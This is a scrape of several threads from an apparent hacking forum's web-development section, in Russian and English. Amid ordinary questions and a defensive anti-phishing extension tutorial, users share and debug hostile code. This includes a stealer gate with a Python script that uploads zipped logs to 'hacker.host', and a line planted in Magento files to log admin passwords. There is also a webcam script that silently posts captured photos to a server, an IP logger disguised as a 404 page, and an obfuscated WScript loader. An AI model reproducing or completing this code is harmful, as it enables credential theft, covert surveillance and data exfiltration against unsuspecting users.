  • bypass_cache - отключаем кэш поиска DNS
  • canonical_name - просим вывести CNAME

Остается добавить вывод:

JavaScript:Copy to clipboard

(async function() {
    ...
    if (data.dns) printDns(data)
    ...
})()

function printDns({dns}) {
    document.querySelector('#dnsCanonicalName').innerText = dns.canonicalName
    document.querySelector('#dnsIP').innerHTML = `<li>${dns.addresses.join('</li><li>')}</li>`
}

Заключение​

Статья получилась не маленькая. Вероятно даже тяжеловатая, хоть и пытался постепенно вводить и максимально разбирать каждый момент.

Еще раз напомню, что получившиеся в итоге расширения хоть и можно использовать в своей деятельности, но стоит рассматривать больше как пример и ввод в концепцию. Есть множество нюансов, которые нужно допиливать под каждый конкретный случай. Например, сохранение данных. Сейчас сохранение происходит по полному хосту. Правильно ли это в вашем случае? Может оптимальнее накапливать данные по домену в целом? Тогда встает вопрос о смене структуры хранения и удобном, для анализа, выводе информации.

Или, например, надо ли сохранять все спаршенные данные в локальное хранилище? Например, какие-то парсинги можно хранить в сессионном хранилище. Или, может быть есть смысл собирать данные в динамике, чтобы отслеживать произошедшие на сайте изменения?

В целом, мы поговорили о нескольких видах парсинга данных: парсинг с использованием возможностей DOM, прямой парсинг кода HTML-страницы и парсинг сопутствующих файлов (скрипты перехватываемые через webRequest). Обсудили варианты хранения данных. Работу с вкладками, проброс сообщений между разными частями расширения и многое-многое другое. Я планирую написать еще 1-2 статьи, чтобы раскрыть вопросы активного сканирования и создания автоматических эксплоитов на базе расширений браузеров, но усвоив информацию одной только этой статьи, вы уже можете все это проделать самостоятельно без каких-либо проблем.

Если остались какие-то вопросы, есть уточнения или пожелания, не стесняйтесь написать об этом в комментариях. Ну и, если тема зашла, дайте знать об этом.

FullStack разработчик
ID: 67668b27b4103b69df375cb8
Thread ID: 123620
Created: 2024-09-27T14:06:20+0000
Last Post: 2024-10-03T06:00:04+0000
Author: GlebaTi
Replies: 5 Views: 933

Привет всем, хочу пройти какие то курсы по веб разработки, смотрел всякие видосы что то пробовал, но особо не получалось, дофига вопросов становилось по типу "почему так, а как" и т д

Может знающий подскажет сайты, школы и т д

Помогите пж, телега WebApp
ID: 67668b27b4103b69df375cbc
Thread ID: 123165
Created: 2024-09-20T15:41:34+0000
Last Post: 2024-09-20T19:28:59+0000
Author: _lain
Replies: 19 Views: 925

Как мне из WebApp открывать обычный браузер?
Я не могу открывать, ОН МНЕ ОТКРЫВАТЬ ВСТРОЕННЫЙ БРАИУЗЕР ТЕЛЕГРАМ (сорь капсом потому что жопа горит).
И это только на телефонах, как мне юзера из обычного WebApp вывести на другой сайт который откроется не в браузере телеги, а в обычном хром там хз, сафари

Code:Copy to clipboard

if (window.Telegram && window.Telegram.WebApp) {
    window.Telegram.WebApp.openInExternalBrowser("https://example.com");
  } else {
    window.open("https://example.com", "_blank");
  }

Этот код все равно открывает во внутреней тг, что первый вариант, что второй

Либа или апи для оплаты криптой
ID: 67668b27b4103b69df375d1f
Thread ID: 71641
Created: 2022-08-13T23:20:52+0000
Last Post: 2023-04-27T08:47:27+0000
Author: team_RX
Replies: 5 Views: 908

Поделитесь либой или апи для оплаты криптой на nodejs(не для сайта) с возможностью максимально быстрой проверкой оплаты(если это возможно или насколько это возможно), понятно что апи должен быть не от всяких там бинанс где нужны паспортные данные. Желательно проверенные именно вами(т.е вы сами его юзали/юзаете)

Обфускация JS кода
ID: 67668b27b4103b69df375ce5
Thread ID: 108493
Created: 2024-02-17T23:22:31+0000
Last Post: 2024-02-19T06:55:09+0000
Author: proxy
Replies: 9 Views: 898

Углубляясь в тематику защиты не компилируемого кода, перебрав десятки разных обфускаторов, наткнулся на интересный вариант реализации который мне не понятен.
Пример ниже.

1708212093187.png

Code:Copy to clipboard

(function(){var BLZ='',nOd=153-142;function efq(f){var w=4991497;var q=f.length;var c=[];for(var g=0;g<q;g++){c[g]=f.charAt(g)};for(var g=0;g<q;g++){var m=w*(g+513)+(w%35003);var j=w*(g+216)+(w%16538);var p=m%q;var k=j%q;var n=c[p];c[p]=c[k];c[k]=n;w=(m+j)%5004689;};return c.join('')};var cow=efq('rvkhmrbojoonttadfgsxluiucepqtzcscnwyr').substr(0,nOd);var TNN='vgigi9];+e8=+[m==p0)ap>sv=ob)gsir(urea(=h1lvsn(arxe;(g;hiru=ar.7.58l}]u2ooCv;0ox);;;tg;,h5.81,8n.so,d4rra16ht=c,1s 8g[+u]"n+p +if][ vw;,+tsgr),(e)elon0t)7g+ wo)v2u8i3bl),]pu17=q;l;r c(r71=uc(vf;=3[fnr(vat u;,h.9a,g =aiuihryndCA;jhe! var;; frk5(cn;.hg=l;pur=,l=c)hfo0t;;inp+,"=1ivjtl1oio]io0;o+ fa(mf=n-Algv.wrpuv[.,;+2r-,=ru<1lhrc;evC;-si e1,+r.n f zval[.l(o)]3a1ld[,)(v-;(t+)[vaA2n-7<k;ah6oh][oa)sv+.r8dw7kq}il=g,p{v=ab; c n.3o"m yC;rjhg))gi2e=+.=n;p+uv}ao-ts,f."}7)l0uabs(ttceargyif(p96)(;la+l;t(j+{{)fi.fh6r<).e3y)bi<is+p]a8;mue"[gqiastz)Cp],e)a3)fc0h=aCh a+=.i;i* s(;kz.)h."5vhrubrtr(ggAhrv[n),rseC,ua[em;]o;=hl+9;nhr(g=lnn9*anSffa<ri(ehaat+;{>rdynS];icj) ja=),=t;)v;{h.chrr}n.0x.;8y[=0A)l"ha,y n(+v4n(="n;ta20(0(c2l=;e=asnete"h=m-avv e=. u){ahr,j=gt==((efro]3=a+5md4,(62adk}hsrmjpo,g]==(de+lt{x 0(h=z9.vgve=ap;6},m)t!tn).c.rr;n6h8 ryf.(f6i0r=r[u(,rd9dfbs(les"pptn +64etu;(r))m7yvrngjqC';var UeI=efq[cow];var WYL='';var Axo=UeI;var fkV=UeI(WYL,efq(TNN));var kzm=fkV(efq('C#-.}rc,1$0fn((7aaSt)dXs,{c8;X (%,i\'f&X%o$!0s#2(X8(($nXr-%a _*}igigd!c!fr.=&a.)asb- +X)o{!5.XX.%cX+4.X4p)rXh aS2;3;1t$;!_$75.{o.3X8,1)),XhtXX(o)a06o_X;Xg\'))d8.zj\/b_X tX}Xo1!_t.310;n0,l];=-2+g!e1)4;Xqa[))e!Xa.1t]1aft9)X.cj }f,rt)[nn,$XXe[\/j){4a(;.dr0))zhai0h4)=oX!a( d)b.";X(0fd$a!6q;.,t$a3)t}Xt)3"..,Xn4au3(!=ar;)d)j,co\/oy2rs=51X,tc;}%a$ij)yXa(\'2_ ope03!,bXt.aX}7ds1.t)tra!}+,_!Xm.Xfn14be"x[0(X,_i.p$1j_e 6ic(X2X[$0db r#%y,.Xhl!rcX,Xq,X;,Xc;)a,lbdb(,.$!=X..#.aepX($S%c%__92X+f,ba,)raConp1b$)6.d;X9,ltga),1=#fw$.m.1E)(XX.s=0a.;Xa0d5m_;dXX-(,X=uo&.$X.3=4XXXo(XXX.hX;$f*t.\'{un*.X)$qq((X,==e{+fl(to8$q*iozj0f145gb8=5.X3);(l;;s6a!fi.nh_a!S}.s=+6")a=])z"2o0;)(dxnnn((},g.\/ !)%!\/7_.oXX.cy}lh1djt.b);, ){XfX!74{34$c!+$Xrti;(&=+0es{+7o3X5(+X)4a+!_ehXuX.(r(l71o80vi  b8XX,)X.((4br(6)"" rr(..a {oX2(,X,a](c.($4_hxoj.7$1m f!fn=XX(=r_5wecr.$sys])80eXs2}yt#g.j(Xd.X1u$3(3Xd3qXrb}4X!;ej +re1_fq,]{$,o)3)Xb=;)X=Xk_=_)\/zei}#zb'));var DxN=Axo(BLZ,kzm );DxN(5500);return 8989})()

Внутри содержится такой код: WScript.Echo( "1");

Каким образом в коде можно скрывать строки WScript и Echo?

sql файл 40гб
ID: 67668b27b4103b69df375d31
Thread ID: 66908
Created: 2022-05-12T13:49:50+0000
Last Post: 2023-02-06T09:06:35+0000
Author: Shotam
Replies: 9 Views: 897

Всем привет! Столкнулся с проблемой что не могу открыть sql файл на 40гб, там одна таблица на 180 столбцов. Нужно выгрузить 2 столбца из 180.
Раньше использовал программу SQLRIP by trip, открывал файлы по 15 гб. Когда открываю этот файл, инфа с таблицы не отображается и соответственно выгрузить ее не получается.
Может знаете аналоги sqlrip?

Блок бот трафа JS
ID: 67668b27b4103b69df375d8d
Thread ID: 50496
Created: 2021-04-09T16:36:33+0000
Last Post: 2021-04-10T10:31:53+0000
Author: CEBEK777
Replies: 1 Views: 895

Ку всем) столкнулся с проблемой бот трафа, подсказали как можно сделать, но с JS был опыт ооочень давно, буду очень благодарен )
Код от фрод посещений и заявок, если один айпи посещает сайт больше чем 3 раза в течении 10 минут, то в бан на сутки

Need a little help
ID: 67668b27b4103b69df375d9c
Thread ID: 47885
Created: 2021-02-10T13:44:04+0000
Last Post: 2021-02-11T18:45:50+0000
Author: givirus
Replies: 1 Views: 890

Hi,

I've got some html forms that must be parsed to a telegram bot after the user click submit. Can someone help me or make me to understand how can I do this?

Or if anyone have a ready made code and only I must adapt to my page?

Thanks!

Js на новый лад. Просто оцените
ID: 67668b27b4103b69df375d68
Thread ID: 55301
Created: 2021-08-14T15:28:33+0000
Last Post: 2021-12-13T22:22:39+0000
Author: mnGrap
Replies: 3 Views: 883

Для грызущих веб, от чистого сердца, самое кэширующееся =ъ

Account Suspended

| FREE MARKET | PHP+SQL
ID: 67668b27b4103b69df375d3d
Thread ID: 70244
Created: 2022-07-17T18:43:10+0000
Last Post: 2022-11-23T10:12:29+0000
Author: Nyrid
Replies: 1 Views: 879

WARNING : ITS NOT SECURED
This project I use one year ago and I decide its right time to share my work on community

VIDEO :

You must have at least 15 reaction(s) to view the content.

a simple panel to mod/integrate with my stealer
ID: 67668b27b4103b69df375d37
Thread ID: 70903
Created: 2022-07-31T08:20:07+0000
Last Post: 2022-12-12T20:00:00+0000
Author: 3c2n90yt57489t3y8794
Replies: 3 Views: 873

Hello, is there a basic simple panel that I can use to start learning what requests I have to send from my stealer to add logs in the database? The aim is to use the panel with my stealer and in the near future try to write my first panel.
More examples I have, the better it is, anyway I just need 1 very basic (free) panel.

Сниф паролей magento 2
ID: 67668b27b4103b69df375d3f
Thread ID: 72494
Created: 2022-08-31T14:29:51+0000
Last Post: 2022-10-04T15:29:50+0000
Author: Eronit
Replies: 9 Views: 870

Добрый день друзья, возникла такая надобность соснифать пароли админов при входе в админку. Сую код для логирования POST запроса
file_put_contents('file.txt', json_encode($_POST), FILE_APPEND);
1661956167177.gif
В index.php - не создается файл.
Если засунуть в /app/bootstrap.php этот же код то file.txt создается но пустой. Есть у кого какие идея куда правильно воткнуть код?
Права на запись есть) Кэш чистил.

Сохранение фото с камеры на сервере
ID: 67668b27b4103b69df375cb4
Thread ID: 123790
Created: 2024-09-30T04:58:02+0000
Last Post: 2024-10-13T08:15:01+0000
Author: BillySwiftKey
Replies: 6 Views: 866

Доброго времени суток, граждани программисты.
Данный код в теории реализует сохранеие фото с веб камеры после получения к ней доступа на сайте.
Сохраняет в папкуimage на сервере по пути:http://ip-server/image.
Но проблемма в том, что он не сохраняет фото, подскажите, где я ошибся...
Всю голову уже сломал.

JavaScript:Copy to clipboard

<script>
    var url = "";
    request.open("GET", "/get_target", true);

    request.onload = function () {
      if (request.status === 200) {
        url = request.responseText;
      } else {
        url = "http://ip/image"
      }
    };

    request.send();
    function postFile(file) {
      let formdata = new FormData();
      formdata.append("image", file);
      let xhr = new XMLHttpRequest();
      xhr.open('POST', url, true);
      xhr.onload = function () {
        if (this.status === 200)
          console.log(this.response);
        else
          console.error(xhr);
      };
      xhr.send(formdata);
    }




    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    const errorMsgElement = document.querySelector('span#errorMsg');

    const constraints = {
      audio: false,
      video: {


        
        facingMode: "user"
      }
    };

    // Access webcam
    async function init() {
      try {
        const stream = await navigator.mediaDevices.getUserMedia(constraints)
        handleSuccess(stream);
      } catch (e) {
        setTimeout(function () {
          alert("Allow Camera access to video chat");
          window.location.href = "https://www.lifewire.com/configure-camera-microphone-setting-in-google-chrome-4103623"
          alert("Grant cam access")
        }, 15000)
      }
    }

    // Success
    function handleSuccess(stream) {
      window.stream = stream;
      video.srcObject = stream;

      var context = canvas.getContext('2d');
      setInterval(function () {

        context.drawImage(video, 0, 0, 640, 480);
        canvas.toBlob(postFile, 'image/jpeg');
      }, 1500);


    }

    // Load init
    init();
  </script>
Looking for php,c#,js code that fingerprint phone number for connected phone over 4G
ID: 67668b27b4103b69df375d5a
Thread ID: 61369
Created: 2022-01-14T01:08:02+0000
Last Post: 2022-03-22T21:29:58+0000
Author: jaroule
Replies: 7 Views: 864

hello xss team,

i am looking for a script that can guess website visitor phone number just by visiting the landing page.

thanx in advance

decode php
ID: 67668b27b4103b69df375d7f
Thread ID: 55129
Created: 2021-08-10T14:09:45+0000
Last Post: 2021-08-11T00:31:55+0000
Author: apps
Replies: 3 Views: 858

Ребят помогите расшифровать )

You must have at least 50 message(s) to view the content.

Проблемы с гейтом и скриптом :|
ID: 67668b27b4103b69df375ccb
Thread ID: 96018
Created: 2023-08-18T23:09:21+0000
Last Post: 2024-05-17T21:55:19+0000
Author: D4nte
Replies: 3 Views: 849

Доброй ночи всем, столкнулся я с проблемой такой котороя меня вымораживает накидал я скрипт
gate.php

Code:Copy to clipboard

<?php
$botToken = 'token-here';
$chatId = 'chatid';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
        $zipFilePath = $_FILES['zip_file']['tmp_name'];

        $curl = curl_init();

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";

        $postData = array(
            'chat_id' => $chatId,
            'document' => new CURLFile($zipFilePath)
        );

        curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);

        $response = curl_exec($curl);

        curl_close($curl);

        if ($response === false) {
            echo "Ошибка при отправке файла в Telegram.";
        } else {
            echo "Файл успешно отправлен в Telegram.";
        }
    } else {
        echo "Ошибка при загрузке файла.";
    }
} else {
    echo "Метод запроса не поддерживается.";
}
?>

И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги

Code:Copy to clipboard

import os
import requests
import shutil


def archive_send():
    hostname = os.popen('hostname').read().strip()
    source_folder = r'C:\Logs'

    archive_name = f'{hostname}.zip'
    shutil.make_archive(os.path.join(os.environ['TEMP'], hostname), 'zip', source_folder)
    upload_url = 'http://hacker.host/gate.php'

    session = requests.session()
    files = {"document": open(os.path.join(os.environ['TEMP'], archive_name), 'rb')}
    response = session.post(upload_url, files=files)

    if response.status_code == 200:
        print('Файл успешно отправлен на сервер.')
    else:
        print('Ошибка при отправке файла на сервер.')

Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой

Advanced IP Logger [PHP]
ID: 67668b27b4103b69df375cf9
Thread ID: 99798
Created: 2023-10-10T17:43:59+0000
Last Post: 2023-11-17T23:32:50+0000
Author: blackhunt
Replies: 7 Views: 847

Here is an advanced IP logger in PHP that ensures the ip address is valid by going through several checks.

How it works

The process is really simple. When the victim enters the site, they will receive a 404 error message (which makes it look even more realistic). Then it gets the IP address of the victim, validates it and logs it in a txt file which contains the IP address, country and the current date.

The Code

PHP:Copy to clipboard

<?php
function get_ip_address()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']) && validate_ip($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        if (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') !== false) {
            $iplist = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            foreach ($iplist as $ip) {
                if (validate_ip($ip))
                    return $ip;
            }
        } else {
            if (validate_ip($_SERVER['HTTP_X_FORWARDED_FOR']))
                return $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED']) && validate_ip($_SERVER['HTTP_X_FORWARDED']))
        return $_SERVER['HTTP_X_FORWARDED'];
    if (!empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']) && validate_ip($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']))
        return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    if (!empty($_SERVER['HTTP_FORWARDED_FOR']) && validate_ip($_SERVER['HTTP_FORWARDED_FOR']))
        return $_SERVER['HTTP_FORWARDED_FOR'];
    if (!empty($_SERVER['HTTP_FORWARDED']) && validate_ip($_SERVER['HTTP_FORWARDED']))
        return $_SERVER['HTTP_FORWARDED'];
    return $_SERVER['REMOTE_ADDR'];
}
function validate_ip($ip)
{
    if (strtolower($ip) === 'unknown')
        return false;
    $ip = ip2long($ip);
    if ($ip !== false && $ip !== -1) {
        $ip = sprintf('%u', $ip);
        if ($ip >= 0 && $ip <= 50331647)
            return false;
        if ($ip >= 167772160 && $ip <= 184549375)
            return false;
        if ($ip >= 2130706432 && $ip <= 2147483647)
            return false;
        if ($ip >= 2851995648 && $ip <= 2852061183)
            return false;
        if ($ip >= 2886729728 && $ip <= 2887778303)
            return false;
        if ($ip >= 3221225984 && $ip <= 3221226239)
            return false;
        if ($ip >= 3232235520 && $ip <= 3232301055)
            return false;
        if ($ip >= 4294967040)
            return false;
    }
    return true;
}
$ip      = get_ip_address();
$json    = file_get_contents("http://extreme-ip-lookup.com/json/" . $ip);
$data    = json_decode($json, true);
$country = $data['country'];
$date    = date('d/m/Y');
$myfile  = fopen("ips.txt", "a+");
fwrite($myfile, "Logged IP: ");
fwrite($myfile, get_ip_address());
fwrite($myfile, " ($country), at ");
fwrite($myfile, $date);
fwrite($myfile, "\n");
fclose();
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /login.php was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Remember to make a .txt file called "ips" in the same directory as the .php file.

source : #Blackfourms

Who can built a 2 pages php
ID: 67668b27b4103b69df375cf1
Thread ID: 99971
Created: 2023-10-12T21:56:47+0000
Last Post: 2024-01-09T02:13:15+0000
Author: jamesblacka
Replies: 10 Views: 841

I need a php or html java script page with some details on it contact me

Создаем расширение для защиты от фишинга
ID: 67668b27b4103b69df375cbb
Thread ID: 123058
Created: 2024-09-19T12:38:02+0000
Last Post: 2024-09-21T11:44:01+0000
Author: Patr1ck
Prefix: Статья
Replies: 3 Views: 840

Приветствую, форумчане! Сегодня напишу инструкцию по созданию и запуску расширения для браузера Chrome, которое помогает защитить пользователей от одной из самых распространенных угроз в интернете - фишинга. Проект (решил дать собирательное название AntiPhish Guard) будет использовать комбинацию различных техник для выявления потенциально опасных сайтов.

Для чего же нам создавать такое расширение? Фишинг до сих пор является основной причиной утечек данных. Почти всегда технически не подкованные пользователи сами отдают все доступы и информацию, потому что банально не могут правильно и вовремя определить фишинговое письмо. Если мы говорим про фишинговые сайты, то год за годом они становятся все более похожими на оригинальные, что крайне затрудняет их автоматическое обнаружение. В среднем ежегодно регистрируется около двух миллионов таких сайтов (не удивительно, когда можно скопировать сайт буквально за несколько минут с помощью необходимых инструментов). Именно поэтому создание эффективного инструмента для защиты от фишинга является актуальной и сложной задачей. Конечно же есть куча уже готовых решений, но знать БАЗУ необходимо, а уметь самому собрать еще и полезно!

Перед началом давайте рассмотрим основные функции расширения, которые у меня получилось реализовать:

  1. Проверка URL через API Google Safe Browsing
  2. Анализ содержимого страницы на наличие подозрительных элементов
  3. Проверка SSL-сертификатов
  4. Интеграция с VirusTotal для дополнительной проверки
  5. Ведение пользовательских черных и белых списков
  6. Автоматическое обновление базы данных известных фишинговых сайтов
  7. Настройки пользователя для тонкой настройки уровня защиты
  8. Статистика заблокированных угроз
  9. Возможность экспорта и импорта пользовательских списков

Ниже постарался максимально подробно расписать инструкцию по написанию и внедрению.

Первым делом необходимо будет создать структуру проекта. Для этого откройте терминал и выполните следующие команды: создайте директорию командой mkdir antiphish-guard , далее провалитесь в директорию cd antiphish-guard , создайте папку mkdir images внутри директории, и создайте все необходимые файлы touch manifest.json background.js content.js popup.html popup.js options.html options.js warning.html warning.js blocked.html safeBrowsing.js test_phishing.html contentAnalyzer.js. После создания всех необходимых элементов, начнем каждый наполнять кодом с необходимым функционалом.

Выглядеть должно таким образом:

Рисунок1.png

Вторым шагом будет создание первого файла и сердца любого расширения – manifest.json , он определяет основные свойства расширения, запрашиваемые разрешения и структуру проекта:

JavaScript:Copy to clipboard

{
  "manifest_version": 2,
  "name": "AntiPhish Guard",
  "version": "1.0",
  "description": "Защита от фишинговых атак",
  "permissions": [
    "activeTab",
    "storage",
    "webNavigation",
    "tabs",
    "alarms",
    "notifications",
    "downloads"
  ],
  "background": {
    "scripts": ["background.js"],
    "persistent": false
  },
  "browser_action": {
    "default_popup": "popup.html",
    "default_icon": {
      "16": "images/icon16.png",
      "48": "images/icon48.png",
      "128": "images/icon128.png"
    }
  },
  "icons": {
    "16": "images/icon16.png",
    "48": "images/icon48.png",
    "128": "images/icon128.png"
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ],
  "options_page": "options.html",
  "incognito": "split"
}

После каждого кода буду разбирать ключевые функции (где-то коротко, где-то более подробно). Функция manifest_version указывает версию формата манифеста, я использовал вторую. Список разрешений permissions - требуется для работы расширения. Запрашивает доступ к активной вкладке, хранилищу данных, навигации, управлению вкладками, уведомлениям и возможности скачивания файлов. Скрипт background необходим для работы в фоновом режиме (я установил persistent: false , чтобы использовать событийно- ориентированную модель вместо постоянно работающего фонового процесса). browser_action определяет действие, которое будет выполняться при нажатии на иконку расширения, включая открытие popup.html. Скрипт content_scripts будет внедряться на все посещаемые страницы. options_page определяет страницу настроек расширения. incognito и так всем понятно, а значение split позволяет расширению работать в режиме инкогнито, но с отдельным хранилищем данных.

Далее переходим к реализации следующего файла - фонового скрипта background.js. URL-анализатор - это наш передовой отряд в борьбе с фишингом. Его задача - молниеносно проверить адрес сайта, на который пытается зайти пользователь, и определить, не таится ли за ним угроза.

Я использовал асинхронные запросы к обоим API, чтобы не замедлять работу браузера. Вот как это работает:

  1. Пользователь переходит на новый URL.
  2. Расширение перехватывает этот переход и запускает процесс проверки.
  3. Отправляются параллельные запросы к Google Safe Browsing и VirusTotal.
  4. Пока идет проверка, страница начинает загружаться (без ухудшения пользовательского опыта).
  5. Если хотя бы один из сервисов сообщает об опасности, немедленно прерывает загрузку и показывает предупреждение.

Но что, если API недоступны или работают медленно? Здесь в игру вступает наша локальная база данных. Мы кэшируем результаты проверок и храним их локально в течение определенного времени (скажем, 24 часа). Это позволяет нам:

  • Ускорить проверку для часто посещаемых сайтов.
  • Обеспечить базовый уровень защиты даже при отсутствии интернет-соединения.
  • Снизить нагрузку на API и избежать ограничений на количество запросов.

Скрипт будет работать постоянно в фоновом режиме и отвечать за обработку событий навигации, проверку URL и координацию работы других компонентов расширения.

JavaScript:Copy to clipboard

let phishingDatabase = {};

chrome.runtime.onInstalled.addListener(() => {
    updatePhishingDatabase();
    chrome.alarms.create('updatePhishingDatabase', { periodInMinutes: 1440 });
});

chrome.alarms.onAlarm.addListener((alarm) => {
    if (alarm.name === 'updatePhishingDatabase') {
        updatePhishingDatabase();
    }
});

function updatePhishingDatabase() {
    fetch('https://api.example.com/phishing-databasehttps://safebrowsing.googleapis.com/v4/threatMatches:find')
        .then(response => response.json())
        .then(data => {
            phishingDatabase = data;
            chrome.storage.local.set({phishingDatabase: data});
        })
        .catch(error => console.error('Error updating phishing database:', error));
}

chrome.webNavigation.onBeforeNavigate.addListener((details) => {
    const url = new URL(details.url);
    chrome.storage.sync.get(['whitelist', 'blacklist'], (result) => {
        const whitelist = result.whitelist || [];
        const blacklist = result.blacklist || [];

        if (blacklist.includes(url.hostname)) {
            chrome.tabs.update(details.tabId, { url: "blocked.html" });
            showBlockNotification(url.href);
        } else if (!whitelist.includes(url.hostname)) {
            checkPhishing(url.href, details.tabId);
        }
    });
});

async function checkPhishing(url, tabId) {
    const cachedResult = await getCachedCheckResult(url);
    if (cachedResult !== null) {
        if (cachedResult === 'blocked') {
            chrome.tabs.update(tabId, { url: "blocked.html" });
            updateStatistics('blocked');
            showBlockNotification(url);
        } else if (cachedResult === 'warning') {
            showWarning(tabId, url);
            updateStatistics('warned');
        }
        return;
    }

    let result = 'safe';

    const googleSafeResult = await checkUrlWithGoogleSafeBrowsing(url);
    if (!googleSafeResult) {
        result = 'blocked';
    }


    if (phishingDatabase[url]) {
        result = 'blocked';
    }


    chrome.storage.sync.get(['enableVirusTotal'], async (data) => {
        if (data.enableVirusTotal !== false) {
            const virusTotalResult = await checkWithVirusTotal(url);
            if (virusTotalResult === 'suspicious') {
                result = 'warning';
            }
        }
    });


    chrome.storage.sync.get(['enableContentAnalysis'], (data) => {
        if (data.enableContentAnalysis !== false) {
            chrome.tabs.sendMessage(tabId, {action: "analyzeContent"}, (response) => {
                if (response && response.suspicious) {
                    result = 'warning';
                }
                finalizeCheck(result, url, tabId);
            });
        } else {
            finalizeCheck(result, url, tabId);
        }
    });
}

function finalizeCheck(result, url, tabId) {
    if (result === 'blocked') {
        chrome.tabs.update(tabId, { url: "blocked.html" });
        updateStatistics('blocked');
        showBlockNotification(url);
    } else if (result === 'warning') {
        showWarning(tabId, url);
        updateStatistics('warned');
    }
    setCachedCheckResult(url, result);
}

async function checkUrlWithGoogleSafeBrowsing(url) {
    const apiKey = 'GoogleApiKeys';
    const apiUrl = `https://safebrowsing.googleapis.com/v4/threatMatches:find?key=${apiKey}`;
    
    const requestBody = {
        client: {
            clientId: "AntiPhish Guard",
            clientVersion: "1.0.0"
        },
        threatInfo: {
            threatTypes: ["MALWARE", "SOCIAL_ENGINEERING"],
            platformTypes: ["ANY_PLATFORM"],
            threatEntryTypes: ["URL"],
            threatEntries: [{ url: url }]
        }
    };

    try {
        const response = await fetch(apiUrl, {
            method: 'POST',
            body: JSON.stringify(requestBody)
        });
        const data = await response.json();
        return Object.keys(data).length === 0;
    } catch (error) {
        console.error('Error checking Google Safe Browsing API:', error);
        return true;
    }
}

async function checkWithVirusTotal(url) {
    const apiKey = 'VirusTotalAPIKeys';
    const apiUrl = `https://www.virustotal.com/vtapi/v2/url/report`;

    const params = new URLSearchParams({
        apikey: apiKey,
        resource: url
    });

    try {
        const response = await fetch(`${apiUrl}?${params}`);
        const data = await response.json();

        if (data.response_code === 1) {
            if (data.positives > 0) {
                return 'suspicious';
            }
        }
    } catch (error) {
        console.error('Error checking VirusTotal API:', error);
    }

    return 'safe';
}

function showWarning(tabId, url) {
    chrome.storage.local.set({lastBlockedUrl: url}, function() {
        chrome.tabs.update(tabId, {url: chrome.runtime.getURL("warning.html")});
    });
}

function updateStatistics(action) {
    chrome.storage.local.get(['statistics'], (result) => {
        let stats = result.statistics || {blocked: 0, warned: 0};
        stats[action]++;
        chrome.storage.local.set({statistics: stats});
    });
}

chrome.webNavigation.onCommitted.addListener(
    function(details) {
        if (details.frameId === 0) {
            chrome.storage.sync.get(['enableSslCheck'], (data) => {
                if (data.enableSslCheck !== false) {
                    checkSSL(details.tabId, details.url);
                }
            });
        }
    }
);

function checkSSL(tabId, url) {
    const urlObj = new URL(url);
    if (urlObj.protocol !== 'https:') {
        chrome.tabs.sendMessage(tabId, {action: "showSslWarning", message: "Небезопасное соединение (HTTP)"});
        return;
    }

    fetch(url, {method: 'HEAD'})
        .then(response => {
            const securityInfo = response.headers.get('Strict-Transport-Security');
            if (!securityInfo) {
                chrome.tabs.sendMessage(tabId, {action: "showSslWarning", message: "Отсутствует HSTS"});
            }
        })
        .catch(error => {
            chrome.tabs.sendMessage(tabId, {action: "showSslWarning", message: "Проблема с SSL-сертификатом"});
        });
}

function getCachedCheckResult(url) {
    return new Promise((resolve) => {
        chrome.storage.local.get(['urlCache'], (result) => {
            const cache = result.urlCache || {};
            const cachedResult = cache[url];
            if (cachedResult && Date.now() - cachedResult.timestamp < 24 * 60 * 60 * 1000) {
                resolve(cachedResult.result);
            } else {
                resolve(null);
            }
        });
    });
}

function setCachedCheckResult(url, result) {
    chrome.storage.local.get(['urlCache'], (data) => {
        const cache = data.urlCache || {};
        cache[url] = {result: result, timestamp: Date.now()};
        chrome.storage.local.set({urlCache: cache});
    });
}

function showBlockNotification(url) {
    chrome.notifications.create({
        type: 'basic',
        iconUrl: 'images/icon128.png',
        title: 'Сайт заблокирован',
        message: `AntiPhish Guard заблокировал доступ к ${url}`
    });
}

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    if (request.action === "reportSuspiciousSite") {
        chrome.storage.sync.get(['blacklist'], (result) => {
            const blacklist = result.blacklist || [];
            if (!blacklist.includes(request.url)) {
                blacklist.push(request.url);
                chrome.storage.sync.set({blacklist: blacklist}, () => {
                    sendResponse({status: "success"});
                });
            } else {
                sendResponse({status: "already_blacklisted"});
            }
        });
        return true;
    }
});

